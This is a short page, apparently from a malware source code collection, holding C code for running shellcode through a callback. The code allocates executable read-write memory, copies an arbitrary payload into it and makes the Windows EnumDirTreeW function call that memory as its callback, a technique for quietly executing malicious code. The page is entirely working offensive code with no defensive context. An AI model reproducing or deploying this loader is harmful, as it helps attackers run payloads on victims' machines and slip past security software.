> For the complete documentation index, see [llms.txt](https://malwaresourcecode.com/home/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://malwaresourcecode.com/home/shellcode-execution/enumdirtreew.md).

# EnumDirTreeW

```
VOID InvokeEnumDirTreeWThreadCallbackRoutine(LPVOID lpParameter)
{
	WCHAR DisposeableBuffer[512] = { 0 };

	if (!SymInitialize(GetCurrentProcessNoForward(), NULL, TRUE))
		return;

	EnumDirTreeW(GetCurrentProcessNoForward(), L"C:\\Windows", L"*.log", DisposeableBuffer, (PENUMDIRTREE_CALLBACKW)lpParameter, NULL);

	SymCleanup(GetCurrentProcessNoForward());
}

BOOL MpfSceViaEnumDirTreeW(_In_ PBYTE Payload, _In_ DWORD PayloadSizeInBytes)
{
	LPVOID BinAddress = NULL;

	BinAddress = VirtualAlloc(NULL, PayloadSizeInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (BinAddress == NULL)
		return FALSE;

	CopyMemoryEx(BinAddress, Payload, PayloadSizeInBytes);

	CreateThreadAndWaitForCompletion((LPTHREAD_START_ROUTINE)InvokeEnumDirTreeWThreadCallbackRoutine, BinAddress, INFINITE);

	return TRUE;
}
```